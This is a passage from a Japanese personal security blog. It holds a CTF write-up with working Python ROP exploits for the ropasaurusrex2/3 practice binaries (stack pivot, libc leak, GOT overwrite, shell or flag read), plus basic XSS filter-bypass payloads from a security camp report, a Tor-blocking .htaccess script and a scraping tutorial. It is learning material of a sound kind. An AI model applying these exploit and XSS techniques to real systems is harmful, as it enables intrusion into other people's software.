ひよこになりたい

Programming Server Network Security and so on

katagaitaiCTF Level2とLevel3のWriteup

@bata_24さんのkatagaitaiCTFの問題を解いた。勉強会自体には参加できなかったが、問題をいただけたのでROPの練習がてら取り組んでみた。バイナリ初心者で、しっかりとROPChainを書いたことはなかったので、すごく良い練習になったと思う。

問題は5問だったが、3問までしか解けなかった。というわけで、忘れないうちに思考の整理とメモを兼ねてLevel2とLevel3を書いておこうと思う。Level4は解き方はなんとなく想像はついたが、時間が足りずコードに落とせなかった。

Level2 (ropasaurusrex2)

標準入力を受け付ける部分にBOFがあるのでreturnアドレスを書き換え可能。
memcpyなのでNull文字排除の必要はないようだ。
ただし、Level1は256byteのBOFが可能であったのに対して、今回は160byteに制限されている。 buffer[128]でreturnアドレスまで140byteとなっているので書き込み160byte制限では20byte=(4byte*5)しか使用できない。
また、今回の問題はASLRでNXが有効であるようなので、アドレス空間がランダマイジングされ、stack, .data, .bss, .heapでの実行はできない。よってスタック上でシェルコードを実行することはできない。

そこで資料中にもあるようにstackpivotを使用して制限を回避する。
stackpivotとは、スタックポインタ($esp)やベースポインタ($ebp)を任意の場所に設定する命令を設置し、スタックの制限を回避する手法である。

exploit

今回はbssセグメント周辺のRW可能な領域にROPchainを設置し、stackpivotによって$espと$ebpを変更し、returnによって$espに制御を移行し、シェルを起動する。
ASLRが有効であるため、libcを使用するためにアドレスのleakが必要。

まず、任意の場所にROPchainの書き込みに必要なread関数を実行するためにreturnアドレスへread関数へのアドレスを設置する。事前調査でread関数はplt(got)にあることがわかっているのでこれを使用する。

引数はSTDIN(0)、書き込み先アドレス(bss)、長さ(rop_len)である。 また、Newretはread@plt実行の後に実行される。この場合はstackpivotを行うRopgadgetを入れる。

←0x00000000      ↓buffer+140                          0xffffffff→
--+---------+---------+---------+---------+---------+---------+--
  | old ebp |  read   | Newret  |    0    |   bss   | rop_len |
--+---------+---------+---------+---------+---------+---------+--

次に、stackpivotを行うために必要なROPgadgetを探し、Newretに設置する。
stackpivotを行うためにはいくつかの方法があるようだが、今回の場合はバイナリ中に出現するleave;ret;を使用する。

leave; ret;はmov esp, ebp; pop ebp; retと等価であるとのこと。$ebpに入っているアドレスが新しい$espとなる。その後、スタックトップからpopし、新しい$ebpとし、retで制御を移行する。gadgetの検索にはrp++を使用した。

leave;ret;で$espを指定するためには、$ebpの値を操作しなければならない。そのためには$ebpへ値を格納するgadgetを使用するなどが考えられるが、今回の場合、ret到達時にはold ebpを$ebpが指しているため、このアドレスを使用すれば良い。old ebpの位置に、新しい$espとなるアドレスを格納すると、leave;ret;で正しく実行することが出来る。

以下はコードの一部。p()はpack, u()はunpack()を表す。 fはsocketをファイルとして扱えるようにしたもの。

STDIN = 0x0
STDOUT = 0x1

plt_write = 0x0804830c
got_write = 0x8049614
plt_read = 0x0804832c
libc_write_offset = 0x000dac50
libc_system_offset = 0x00040190

pop3ret = 0x80484b6
leave_ret = 0x080482ea

data = 0x8049a50
bss = 0x08049900

# rop chain
buf_rop = p(plt_write)
buf_rop += p(pop3ret)
buf_rop += p(STDOUT) + p(got_write) + p(0x4)

buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(data) + p(0x8)

buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(got_write) + p(0x4)  # got overwrite

buf_rop += p(plt_write)
buf_rop += p(0xdeadbeef)
buf_rop += p(data)


# bof
buf = "A" * 136

buf += p(bss)
buf += p(plt_read)
buf += p(leave_ret)

buf += p(STDIN)
buf += p(bss + 0x4) 
buf += p(len(buf_rop))

print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop))
print "[+] len(buf_rop):", len(buf_rop)

f.write(buf)

# send rop code
f.write(buf_rop)

r = f.read(4)
print "[+] leak(real_got_write):", hex(u(r))

libc_base = u(r) - libc_write_offset
libc_system = libc_base + libc_system_offset
print "[+] libc_base:", hex(libc_base)
print "[+] libc_system:", hex(libc_system)

f.write("/bin/sh\0")
f.write(p(libc_system))

ROPchainはまず、write@gotのアドレスをleakし、そのアドレスからlibc内のwrite@libcのオフセットを減算し、ASLRによりランダム化されたlibcのベースアドレスを算出している。libc_baseが分かればlibc内の関数は呼ぶことができるので、system("/bin/sh")を呼び出してシェルを起動した。

ROPchain中でpop3retを使っているが、これは$espからpopを3回行い、retするgadgetである。これにより、$espのアドレスが調整され、関数の実行位置として正しい位置にセットすることができる。

"/bin/sh"の格納アドレス(data)はRW可能な領域から適当にとってきた。
また、ROPchainを設置するbssセグメントの位置によっては動いたり動かなかったりでよくわからなかった。最終的に0x08049900に置いたら動いたが何故だろう?

3段目のread@pltでは、write@gotのアドレスを、標準入力から読み取ったsystem()のアドレスにoverwriteしている。(GOToverwrite)これにより、write@pltを呼び出すことでsystem()が呼ばれる。これでシェルが起動した。

Level3 (ropasaurusrex3)

Level2と違う部分は、chrootが有効となっており、/home/roasaurusrex3を/として認識している。そのため、system("/bin/sh")を起動しても"/bin/sh"を見つけることができないため、system()によるシェルは起動できない。また、system()は内部的にexecveを使用して/bin/shにコマンドを渡す形で動作するため、どちらにせよ起動できない。
execve("/bin/sh", &["-c", command, NULL], envp)

そのため今回はシェルは起動せず、flagファイルをopenし、それをreadし、writeする方針で行った。 この場合、/bin/shが起動できないので、flagのファイル名を決定することが必要となる。

exploit (flagのファイル名の調査)

flagのファイル名の調査はscandir@libcを使用した。これは該当のディレクトリ内のファイルのエントリを格納する関数である。

Man page of SCANDIR
C言語 scandir()でディレクトリエントリのリストを取得する方法

動作を確認するために、次のようなプログラムを書いた。

#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>

int main(){
  struct dirent **files;
  scandir("./", &files, NULL, NULL);
  printf("%s\n", files[0]->d_name);

  return 0;
}

これを実行するとファイル名が出力される。filesにはファイルごとの構造体が格納されているアドレスの先頭アドレス(dirent0)が入る。

--+---------+---------+---------+---------+---------+---------+--
  |         | dirent0 | dirent1 | dirent2 | ....... | direntN |
--+---------+----+----+---------+---------+---------+---------+--
                 │
┌----------------┘
↓
+---------+---------+---------+---------+------------ ... --+-------
|  d_ino  |  d_off  | d_reclen| d_type  | d_name[256]       | (next)
+---------+---------+---------+---------+-------------... --+-------

今回欲しいのはd_nameの値であるが、オフセットの計算が面倒であるので、先頭から全て出力させることにする。 dirent全体を出力させるには、dirent0からNbyte出力させればよい。

Level2をベースにプログラムを書いた。

STDIN = 0x0
STDOUT = 0x1

plt_write = 0x0804830c
got_write = 0x8049614
plt_read = 0x0804832c
plt_main = 0x804831c
got_main = 0x8049618


libc_write_offset = 0x000dac50
libc_open_offset = 0x00126ab0
libc_scandir_offset = 0x000b1300
libc_printf_offset = 0x0004d280

pop3ret = 0x80484b6
pop4ret = 0x80484b5
data = 0x08049620

bss = 0x08049a00
leave_ret = 0x080482ea

# rop
""" write@plt (leak) """
buf_rop = p(plt_write)
buf_rop += p(pop3ret)
buf_rop += p(STDOUT) + p(got_write) + p(0x4)

""" read@plt ("./"を受信 => dataへ) """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(data) + p(0x3)

""" read@plt (scandir@libcを受信 => __libc_start_main@gotへ) ::: got overwrite """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(got_main) + p(0x4)

""" main@plt (scandir@libcを実行) """
buf_rop += p(plt_main)
buf_rop += p(pop4ret)
buf_rop += p(data) + p(bss + 100) + p(0x0) + p(0x0)

""" write@plt => scandirの格納先のアドレスから一旦読みだす"""
buf_rop += p(plt_write)
buf_rop += p(pop3ret)
buf_rop += p(STDOUT) + p(0xcafecafe) + p(0x4)

""" read@plt => writeするために書き出す"""
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(bss + 140) + p(0x4)

""" write@plt """
buf_rop += p(plt_write)
buf_rop += p(0xdeadbeef)
buf_rop += p(STDOUT) + p(0xcafebabe) + p(300)

# bof
buf = "A" * 136

buf += p(bss) 
buf += p(plt_read)
buf += p(leave_ret)

buf += p(STDIN)
buf += p(bss + 0x4) 
buf += p(len(buf_rop))

print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop))
print "[+] len(buf_rop):", len(buf_rop)

f.write(buf)

# send rop code
f.write(buf_rop)

r = f.read(4)
print "[+] leak(real_got_write):", hex(u(r))

libc_base = u(r) - libc_write_offset
libc_scandir = libc_base + libc_scandir_offset
libc_printf = libc_base + libc_scandir_offset
print "[+] libc_base:", hex(libc_base)
print "[+] libc_scandir:", hex(libc_scandir)
print "[+] libc_printf:", hex(libc_printf)

f.write("./\0")
f.write(p(libc_scandir))

r = f.read(4)
print "[+] scandir_heap:", hex(u(r))
f.write(p(u(r)))

r = f.read(300)
print r

for c in r:
    print c + "/",

scandir後に一度stdoutへ書き出し、それをスクリプト側で受け取り、そのままstdinに書き出している。こうすることで、scandirにより格納されたアドレスが指す内容(dirent[0]のアドレス)を書き出すことが出来る(もっといい方法があれば教えて下さい...)。その後のreadで最後のwriteの引数にセットする。

これでflagファイル名を特定することができた。

exploit (flag取得)

flagファイル名が取得できたので後は読むだけである。open->read->writeの順に処理させれば良い。

read時のfdを指定する必要があるが、openで返されるファイルディスクリプタを取得する必要はない。通常は0:stdin, 1:stdout, 2:stderrが割り当てられており、新しくfdが割り当てられるたびに3から順にセットされていくため、ここでは3を指定する。

STDIN = 0x0
STDOUT = 0x1

plt_write = 0x0804830c
got_write = 0x8049614
plt_read = 0x0804832c
plt_main = 0x804831c
got_main = 0x8049618


libc_write_offset = 0x000dac50
libc_open_offset = 0x00063dd0

pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5
data = 0x08049500

bss = 0x08049a00
leave_ret = 0x080482ea

filename = "flag_1170037582419425558\0"

# rop
""" write@plt (leak) """
buf_rop = p(plt_write)
buf_rop += p(pop3ret)
buf_rop += p(STDOUT) + p(got_write) + p(0x4)

""" read@plt (flag_filenameを受信 => dataへ """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(data) + p(len(filename))

""" read@plt ("r"を受信 => data + 32へ """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(data + 48) + p(2)

""" read@plt (open@libcを受信 => __libc_start_main@gotへ) ::: got overwrite """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(STDIN) + p(got_main) + p(0x4)

""" main@plt (open@libcを実行) """
buf_rop += p(plt_main)
buf_rop += p(pop2ret)
buf_rop += p(data) + p(data + 48)

""" read@plt """
buf_rop += p(plt_read)
buf_rop += p(pop3ret)
buf_rop += p(3) + p(data + 52) + p(64)

""" write@plt """
buf_rop += p(plt_write)
buf_rop += p(0xdeadbeef)
buf_rop += p(STDOUT) + p(data + 52) + p(64)

# bof
buf = "A" * 136

buf += p(bss)
buf += p(plt_read)
buf += p(leave_ret)

buf += p(STDIN)
buf += p(bss + 0x4)
buf += p(len(buf_rop))

print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop))
print "[+] len(buf_rop):", len(buf_rop)

f.write(buf)

# send rop code
f.write(buf_rop)

r = f.read(4)
print "[+] leak(real_got_write):", hex(u(r))

libc_base = u(r) - libc_write_offset
libc_open = libc_base + libc_open_offset
print "[+] libc_base:", hex(libc_base)
print "[+] libc_open:", hex(libc_open)

f.write(filename)
f.write("r\0")
f.write(p(libc_open))


r = f.read(64)
print r

for c in r:
    print c + "/",

今回はwrite@gotではなく__libc_start_main@gotをoverwriteすることにした。

なおこのスクリプトでは、write()の代わりにprintf@libcを使用している。とくに意味は無いので、writeでも良いと思われる。

これでFlagを取得できた。

Level4

解くことはできなかったが、考えた解法として残しておこうと思う。

Level3と違う点は、write@pltとwrite@gotが塗りつぶされているため、leakができないことだ。それ以外は変わりはない。

ASLRが有効でlibc_baseが変わるのでそのままでは実行してもうまく処理が遷移しない。

解法としては、x86ではASLRのランダム範囲空間がそれほど高くなく、エントロピーが低いことを利用すると思われる。 おそらく、libc_baseのアドレスを決め打ちしてぶん回せば良いと思うのだが、ベースとなるLevel3のスクリプトの構成が上手くなく、 実装と思考に手間がかかってしまったため解けなかった。(write@pltが0xffで塗られているのに、実行すると通常通り処理された(ただしアドレスは異なる)のはなんでだろう?)

これはあくまで推測される解法であるため、実際の解法は他の方々のWriteupを参考に。

katagaitai ctf study session - setup & write-up - Pastebin.com

まとめ

バイナリ初心者なので非常に勉強になった。本格的なROPやstack pivotなど、やろうと思っていたが手が出なかった部分の学習ができてよかったと思う。解けなかったLevel4、Level5もそのうちやることにする。

.htaccessでTor経由のアクセスを遮断する

Tor使っててなんとなくTorからのアクセス遮断したくなったので書いてみた(特に意味は無い) Torの出口ノードを.htaccessで遮断するだけなので

出口ノード一覧はここにあります
http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv

一覧更新が定期的に行われるっぽいので.htaccessをその都度更新します

# -*- coding: utf-8 -*-
import time
import datetime
from subprocess import call, PIPE, DEVNULL

while True:
    # download Tor list
    cmd = "wget -nc http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv"

    ret = call(cmd.split(), stdout=DEVNULL, stdin=DEVNULL, stderr=DEVNULL)
    if ret != 0:
       print("download error")
    else:
        with open('/var/www/.htaccess', 'w') as fp:
            fp.write('Order allow,deny\n')
            fp.write('Allow from all\n')
            fp.write('<IfModule mod_rewrite.c>\n')
            fp.write('    RewriteEngine on\n')
            with open('Tor_ip_list_EXIT.csv', 'r') as torfp:
                list = torfp.readlines()
            for l in list:
                ip = l.replace('.', '\\.').replace('\n', '') + '$'
                fp.write('    RewriteCond %{REMOTE_ADDR} ^' + ip)
                tail = '\n' if l == list[-1] else ' [OR]\n'
                fp.write(tail)
            fp.write('    RewriteRule ^(.*) torpage.html [L]\n')
            fp.write('</IfModule>\n')
    print(datetime.datetime.now().isoformat(' '), "done")
    time.sleep(60 * 60 * 12) # 12じかんおき

python3で書いてます。

12時間おきにTorの出口ノード一覧をチェックし、/var/www/.htaccessを上書きします。内容はTorからのアクセスをtorpage.htmlに書き換えて返すだけです(以前のhtaccessは失われるので注意

実行&常駐

$ screen
$ python3  torlimit_htaccess.py
[Ctrl + A + D]でデタッチ

出力

Order allow,deny
Allow from all
<IfModule mod_rewrite.c>
    RewriteEngine on
    RewriteCond %{REMOTE_ADDR} ^2\.98\.200\.182$ [OR]
    RewriteCond %{REMOTE_ADDR} ^2\.111\.64\.26$ [OR]
(略)
    RewriteCond %{REMOTE_ADDR} ^217\.172\.190\.19$ [OR]
    RewriteCond %{REMOTE_ADDR} ^217\.210\.165\.43$
    RewriteRule ^(.*) torpage.html [L]
</IfModule>

http://zipsan.pw/ にTorでアクセスしてみるとしっかり遮断してくれるので一応動いてるっぽい。

他にうまい方法あるかも?

Python+Selenium+Phantom.js+Beautifulsoupでスクレイピングする

※【2018/04/17追記】

Phantom.jsはメンテナンスが終了したようです。今後はGoogle Chromeを使用してJavascriptの処理を行っていくことになります。以下の記事で解説していますので合わせてご覧ください。 zipsan.hatenablog.jp

【追記終わり】

最近スクレイピングスクリプト書いて遊んでいるのでそれについてのメモがてらに。

Pythonスクレイピングする方法は多々あるみたいなんですが,個人的に一番使いやすかった(慣れ?)のがこの組み合わせでした。

以前Pythonのurllib.request+Beautifulsoupでレスポンスhtmlの解析をして次々とたどっていくようなスクリプトを書いていたんですが、これだとJavascriptで追加されたエレメントは受け取れなかったり、リダイレクト処理がめっちゃ大変だったり色々と面倒でしたが今回SeleniumとPhantomjsを使用することでその辺りの面倒な処理を一括でできるようになりました。

簡単に流れを説明すると、PythonSeleniumを操作し、SeleniumがPhantom.jsでJSを実行し、結果のHTMLをBeautifulSoupでパースし、解析していきます。

Selenium

Seleniumはブラウザの自動化を行うツールです。複数のブラウザでWebのテストを実行したりすることができたり、Android/iOSでテスト出来たりいろいろと便利(Seleniumサーバー建てて集中管理したりもできるみたいだし)。今回はFirefoxChromeの代わりにPhantom.jsを使います。
Selenium - Web Browser Automation

Phantom.js

Phantom.jsは本来はブラウザがないと実行できないJavascriptを、ブラウザ画面なしで実行できるすごいやつ。API形式で叩けるっぽい? PhantomJS | PhantomJS

Beautiful soup

Beautiful soupはHTML/XMLのパーサーで、HTMLを解析して使いやすくしてくれるものです。HTMLをDOMに倣って列挙したり検索したり選択したりできます。
Beautiful Soup: We called him Tortoise because he taught us.

環境設定とか

特にそんなにすることないけど・・・
使用した言語はPython3.4です。Linux, Mac, Windowsで動くのを確認

Python3は入ってること前提で。まずはpythonseleniumモジュールのインストール

pip3 install selenium

次にPhantom.jsを入れます。これは特に説明しないので適当に入れてください。 http://phantomjs.org/
ちゃんとパスを通しておくこと。

最後にBeautifulSoupを入れます。bsはpython3の場合は2to3コマンドでpython3用に変換する必要があります(公式でそう書いてある)。
http://www.crummy.com/software/BeautifulSoup/#DownloadここからBeautiful Soup 4を落としてきて2to3で変換。

wget http://www.crummy.com/software/BeautifulSoup/bs4/download/4.3/beautifulsoup4-4.3.2.tar.gz  # 現時点(2015/04/12)での最新版
tar zxf beautifulsoup4-4.3.2.tar.gz
cd ./beautifulsoup4-4.3.2
2to3 -w bs4
python3 setup.py

うまく行かなければ2to3した後に直接ライブラリディレクトリの中に突っ込んでもOK

使ってみる

from selenium import webdriver
from bs4 import BeautifulSoup

driver = webdriver.PhantomJS()
driver.get("http://sukumizu.moe/")
data = driver.page_source.encode('utf-8')

print(data)
driver.save_screenshot("ss.png")

driver.quit()

結果

b'<!DOCTYPE html><html><head>\n\t<title>sukumizu.moe</title>\n\t<link rel="st(略

こんなかんじで扱えます。
スクリーンショットも撮れます。

UAを指定したい場合はこんな感じ。以下はChromeの例

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities

des_cap = dict(DesiredCapabilities.PHANTOMJS)
des_cap["phantomjs.page.settings.userAgent"] = (
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) '
    'Chrome/28.0.1500.52 Safari/537.36'
)
driver = webdriver.PhantomJS(desired_capabilities=des_cap)
driver.get("http://sukumizu.moe/")
data = driver.page_source.encode('utf-8')

取得したhtmlの解析 (Beautiful soup)

from bs4 import BeautifulSoup

# ----- 略 -----

html = BeautifulSoup(data)
print(html)  # htmlソースを表示する

print(html.title)  # タイトルタグ

print(html.title.string)  # タイトルタグ内の文字

print(html.find('h1'))  # h1タグ

print(html.find_all('link'))  # 全てのlinkタグのリスト

print(html.find_all('link', attrs={'href': 'style.css'}))  # linkタグかつhrefがstyle.cssのもののリスト

結果

<!DOCTYPE html>
<html><head>
<title>sukumizu.moe</title>
---(略)---
</body></html>

<title>sukumizu.moe</title>

sukumizu.moe

<h1>What is your favorite "sukumizu"...? </h1>

[<link ...., <link ...., <link ....]

[<link href="style.css" rel="stylesheet"></link>]

これくらい使えれば困らないかも。他にもいろいろあるのでbsのドキュメントを参照。

タグの要素の選択やチェックはブラウザ標準の「要素を検証」「開発ツール」が便利。 Chromeなら左上の虫眼鏡、Firefoxなら右上の矢印で要素の選択ができます

pythonは簡単でいいなあ

セキュリティ・キャンプ九州 in 福岡 2014 Writeup

セキュリティ・キャンプ九州 in 福岡 2014 (SecurityCamp Kyushu 2014)に参加してきました。

セキュキャンと言えば、選抜されたメンバーが情報セキュリティに特化した様々な技術を学んぶ合宿です。近年の日本の情報セキュリティの需要増加や技術者不足を解消するために、様々なセキュリティ系の企業やIT系の企業、また独立行政法人や官公庁などの支援により毎年開催されています。

 

セキュキャン全国大会の方は22歳以下の学部生以下が対象で、院生は参加不可能なのですが、今回はなんと九州大会に限り院生参加可能!ということですぐに応募用紙を書き、運良く選考に受かることが出来ました。

 

セキュキャン九州の日程は2014年8月29日~31日。夏休み最後の日に開催でした。

 

実はその周辺、大学のコース授業で1週間ほど大阪で合宿→その後研究室合宿で3日ほど大分へ合宿→1日休みの後セキュリティ・キャンプ→セキュキャン終了翌日神戸で合宿という、普段家から出ない学生にはかなりしんどい日程でした。(これ書いてる途中も神戸合宿の間只中です)

 

しかし、そんなハードスケジュールでも参加してよかった。とても充実したキャンプでした。

日程

8月29日 金曜日(1日目)

9:30  受付開始

10:00 オープニング

11:00 『情報セキュリティ技術の使い方~技術を学んで怪物となる前に』 吉井講師

12:00 『CTF、バグハント、コンテストの現在。~セキュリティ・キャンプの紹介も兼ねて~』園田講師

13:00 お昼休み

14:00 『怪しいアプリ、怪しくないアプリ』 宮本講師、園田講師

16:00 『CTFを通じて学ぶセキュリティ技術基礎』続き 花田講師

17:00 ホテル移動、夕食

19:00 『セキュリティ技術者の職種ガイド ~セキュリティ対応ケーススタディ と絡めて~』 堂領講師

21:00 終了

8月30日 土曜日(2日目)合宿講習

9:00  『プログラミングとセキュリティ』 小出講師

12:00 お昼休み

13:00 『Webセキュリティ基礎&実践』 服部講師

17:00 ホテル移動、夕食

19:00 『情報セキュリティ技術の使い方をケースで考えよう』 吉井講師

21:00 終了

8月31日 日曜日(3日目)合宿講習

9:00  『ハニーポット+簡易セキュリティ診断講座+マルウェア解析講座(前編)』 濱本講師

12:00 お昼休み

13:00 『ハニーポット+簡易セキュリティ診断講座+マルウェア解析講座(後編)』 濱本講師

15:00 クロージング

16:00 案内

16:30 終了

一日目

一日目は9:30~10:00集合。福岡に住んでるお陰でそんなに早い時間に出発しなくても大丈夫でした。他の県の方々は夜行バスだったり新幹線だったりなかなか大変だったみたい。

@mrtc0氏も参加するということで、非常に楽しみ。

 

場所はエルガーラホール。会場に到着するともうすでに結構な人数が到着していました。 

小出先生(@hirosk)や、県警の方などと少しお話をし、適当に開いてる席に座り、MBAを開いて適当にツイッターしていると

 

隣が@mrtc0氏でした。すごい偶然。ということで名刺交換をしました。

@mrtc0氏・・・怖い人だ

 

 

講演の内容は三輪会長による技術者の人材に関することであったり、吉井先生による法律の問題であったり、園田さんによるCTFに関するお話であったり、情報セキュリティの表面に現れる問題に関する内容でした。特記はしませんが、非常に楽しめる内容でした。

 

昼食後、15:00(16:00?)くらいから別の館に移動。西日本新聞社さんの会議室の模様。

  

その後、花田さん(@decoy_service)による簡易CTF大会が行われました。練習問題を5問ほど解き、すぐにCTF大会の方に移行。

問題的にはFor(+NW)とCry系が大半でした。200点までの問題は基本的なこと(fileやstiringsコマンド、基本ツールの使用)が殆どで、それ以上の点数の問題は海外のCTF(CSAW, backdoorなど)の300,400点問題となっていて、難易度が非常に高かったように感じました。また、独自問題も有り、そのほとんどが発想力を問われるものが多く、非常につらかったです。

 

最終的には3位と同点の4位でした。エスパー系の問題が全然解けなかった。

 

CTF終了後、夕食タイム。夕食はホテルの食事でした。席につき食事を待っていたのですが・・・

皆無言でお通夜状態でした w

 

せっかくのキャンプで無言は嫌なので、ちょこちょこ話を振っていたのですがなかなか会話が弾まず。。(でもご飯美味しかった)

  

無言の夕食を経て、堂領講師による情報セキュリティの職種に関するお話がありました。ここでは情報セキュリティの職種にはどのようなものがあるのか具体的に十数個例を挙げて解説をしていただきました。分類や就労場所など細かな要素までおしえていただいたので非常に参考になりました。

 

ここで一日目が終了。 

2日目

朝7時に朝食だったのでめちゃくちゃつらかったです。前日の無言感は皆もやばいと思ってたようで

えすらん氏(@nrsdogs)が話題を作ってくれてました(よかった) 

 

 

朝食後、2日目のはじめの講義。うちのボスの小出先生(@hirosk)の「プログラミングとセキュリティ」でした。JavaGlassFishでWebアプリを作成し、プログラミング上でどのようなセキュリティの考え方やコーディングがあるのかの解説でしたが、不慮の事故でセキュリティまで届かず。終了後にサイボウズLive上でアフターケアを行ってくれました。ハンズオンは環境が違うとプロでも難しいみたい

 

前日、班員の皆さんとワイワイCTFをやっていたので若干寝不足だったのですが、エンジニアの主食のお陰で生きることが出来ました。↓

午後は「Webセキュリティ基礎&実践」と題して服部先生からのCTF大会Webアプリケーションのセキュリティについてでした。

Webセキュリティとは何だったのか。(いやセキュリティだけど)

 

いきなりXSSの実習を行いました。level1~5までのステージにフォームがおいてあり、それぞれに超基本的なXSSが可能なので、アラートを出してねという問題。簡単に書くと

  • level1:<script>alert(1)</script>
  • level2:<script>が消されるので<s<script>cript>alert(1)</script> or <scirpt >(スペース)
  • level3: hiddenタグがエスケープされていないので埋め込む 
  • level4: iが1に変えられるので<scrIpt>alert(1)</scrIpt>
  • level5: <scriptが消されるので<scri<scriptpt>alert(1)</script> 

こんな感じでした。簡単ですね

練習問題終了後は脆弱性を作りこんだ本番のような環境で演習を行いました。

掲示板を模したWebサービスを使用して書き込み回数が多かったほうが勝ちというものでした。(知っている人は知っているアレ)掲示板にXSSができるので色々やってねと言うもの。アラート出たり飛ばされたり色々と面白かった。

 

最後の演習は普通のWebサイトを模したもので演習を行いました。XSS複数個とphp脆弱性ディレクトリトラバーサルなど見つけました。最終的にphpスクリプトを注入して探索して、user情報とadminアカウントのハッシュをゲットしたので、レインボーテーブルでホイホイしてadminになり、トップページを乗っ取って終了。楽しかった。

 

Webアプリケーションでもヘタすればサーバーごと乗っ取られちゃうよということで、対策をしっかり行わなければならないなと思いました。

 

 

 

夜は会議室で吉井先生からの法と情報セキュリティ技術の使い方の講義でした。レッドブル効力が切れていたので結構眠気が襲ってきましたが、ディスカッションを合間に入れてくださっていたので眠気が吹っ飛びました。ディスカッション楽しかった。

3日目

 

最終日は一番楽しみにしていた濱本さんによるハニーポットの解析演習でした。

 

はじめはネットワーク探索の基礎などを学びました。pingやnmapなど基本的なツールを使用して調査を行う手法を学びました。

 

攻撃者によってめちゃくちゃにされたあとのハニーポットの中身を探索し、どんなコマンドが使われているのか、何のマルウェアがどこに入っているのか。何をされたあとなのかを調査しました。/var/log/を漁ったり、コマンドのログを漁ったりしてなにか変な通信がないか、なにか変なコマンド実行してないかを一つ一つ見ていくのは大変でした。途中でftpで謎のファイルを落としていることを班員の方が見つけてくれたので、その周辺を調査するとルートキットを見つけました。見慣れないディレクトリやファイルが一緒に設置してあったので、調査を続けていたところでタイムアップ。とても楽しかった。

 

難しかったことは、/var/log/やhistoryなどを漁る場合、通常のコマンドや正常なトラフィックが入り交じっていて、どこが危険なのかどの部分が怪しいのかを判断することでした。また、濱本先生から「lsコマンドは汚染されています」と言われるまでlsコマンドが改ざんれていることに気づきませんでした。findなどは改ざんされていないとの事だったので、$ find . -maxdepth 1にエイリアスを貼って使用。こんなこともあるんだなと非常に勉強になりました。

After

今回記事にしたのはほんの一部で、その他にも沢山の技術や法的な解釈、モラル、現状などを学ぶことが出来ました。九州でのセキュリティ・キャンプは今回が第1回ということで、記念すべき第1回目の卒業生になれてとても嬉しいです。今後セキュリティ・キャンプ九州は続いていく(よね!?)と思うので、非常に期待しています。

 

実行委員や講師の方々、また支援して頂いた方々、参加者の方々ありがとうございました。

 

おまけ

サイバー人材育成急げ 福岡で合宿講習 : 最新ニュース : 読売新聞(YOMIURI ONLINE) < http://www.yomiuri.co.jp/kyushu/news/20140830-OYS1T50071.html >

 

新聞に掲載されました。

 

 

LINE乗っ取り詐欺が来たのでアクセス元を特定してみた

2014年08月04日18:30頃、次の日の試験勉強をしていると一通のDMが花田さん(@decoy_service)より届きました。

f:id:zipsan:20150215012656p:plain

!?

f:id:zipsan:20150215012700p:plain

ということで、やってみました。

先日SECCON Onlineでソーシャルハックという問題がありましたが、まさかこんな形で実践することになるとは。

続きを読む